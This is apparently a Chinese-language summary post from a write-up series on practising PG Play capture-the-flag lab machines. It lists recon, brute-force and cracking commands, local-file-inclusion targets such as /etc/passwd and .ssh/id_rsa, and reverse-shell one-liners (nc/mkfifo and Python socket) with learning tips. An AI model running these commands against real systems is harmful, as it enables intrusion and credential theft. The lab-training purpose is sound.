大綱

• 完成 PG Play 當下 Warm up 全部的靶機 33 台, 總結出技術層面和心理層面的心得分享, 卡關或是初學者也可以先來看看.

PG Play Summary

技術層面

• 回應一開始 [Day 02] How to practice PG Play from zero ?, 每一題都是圍繞著(Recon(Reconnaissance), Attack(Exploitation), Foothold(Get A New Foothold)), 不斷的循環直到取得 root, 而 Reconnaissance 是相對花時間的, 這邊列出常用的語法或工具.

Reconnaissance(For Initial Access)

• Network Recon
  • nmap, naabu, rustscan...
    • naabu -p - -s c -retries 2 -v -stats -nmap-cli 'nmap -sT -A' -host [ip]
• Web Recon
  • dirb, gobuster, ffuf
    • gobuster dir -k -x .php,.txt,.html -t 50 -u [web] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    • ffuf -w parameters.txt:PARAM -w val.txt:VAL -u [http://web/index.php?PARAM=VAL] -fs 0, parameters.txt 於 ffuf 網站下載, val.txt 為一些常見攻擊 payload
  • wpscan, droopescan
    • wpscan --url [web] --plugins-detection mixed -e vp,vt,tt,cb,dbe,u,m
    • droopescan scan drupal -u [web]
  • Local File Inclusion
    • /etc/passwd
    • /etc/issue
    • /proc/version
    • /proc/self/status
    • /proc/mounts
    • .bash_history
    • .ssh/id_rsa
    • /var/log/apache2/access.log
    • /var/log/auth.log
• Samba Recon
  • enum4linux, enum4linux -a [ip]

Reconnaissance(For Privilege Escalation)

• 這系列寫 writeup 的時候, 靶機蒐集資訊的部分, 都是單獨下指令, 熟悉之後建議可以使用自動化方式比較快, 但有可能會遺漏, 還是要人工看一下.
  • GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
• 常見知名 linux kernel 弱點
  • dirtycow(CVE-2016-5195)
  • PwnKit(CVE-2021-4034)

Crack

• file
  • zip
    • zip2john file.zip > file.zip.hash
    • john --wordlist=/usr/share/wordlists/rockyou.txt file.zip.hash
  • shadow
    • john --wordlist=/usr/share/wordlists/rockyou.txt shadow
• service
  • ssh
    • hydra -l [user] -P /usr/share/wordlists/rockyou.txt ssh://[ip]

Other

• pty
  • python3 -c 'import pty; pty.spawn("/bin/bash")'
• reverse shell, nc -lvnp [port]
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc [ip] [port] >/tmp/f
  • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ip]",[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

心理層面

心態和思維

• 學習從模仿開始, 一開始當 script kiddie 不要覺得很羞恥, 沒有人生下來就會的.
• 每一次看解答(writeup), 沒注意到的部分, 都會變成下一台靶機的檢查項目.
• 題目和研究的差異
  • 題目是明確有答案的, 套用 Offensive Security 的核心思想, Try Harder.
  • 研究不一定會有結果.
• 打靶機資訊和測試項目很多, 廣度優先 還是 深度優先 ?
  • 參考 Unicorn Security 文章, 會建議 廣度優先, 但如果有靈感的話, 可以先走一點 深度優先.
• 盤點可能的攻擊向量, 整理收集到的資訊, 尋找中間可能有的化學變化.
• 如果你是初學者, 建議可以跟著 writeup 走過靶機一兩次, 熟悉一點之後, 慢慢拓展自己的技能.
• 如果你是專業人員, 建議可以做到卡關, 休息, 還是卡關, 看提示, 還是卡關的時候, 在來看答案, 學習到的會印象深刻.
• 提問的智慧

ref

• HackTricks - HackTricks
• GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF
• GTFOBins
• Online - Reverse Shell Generator
• OSCP tips and tricks – Unicorn Security – Breaching Unicorns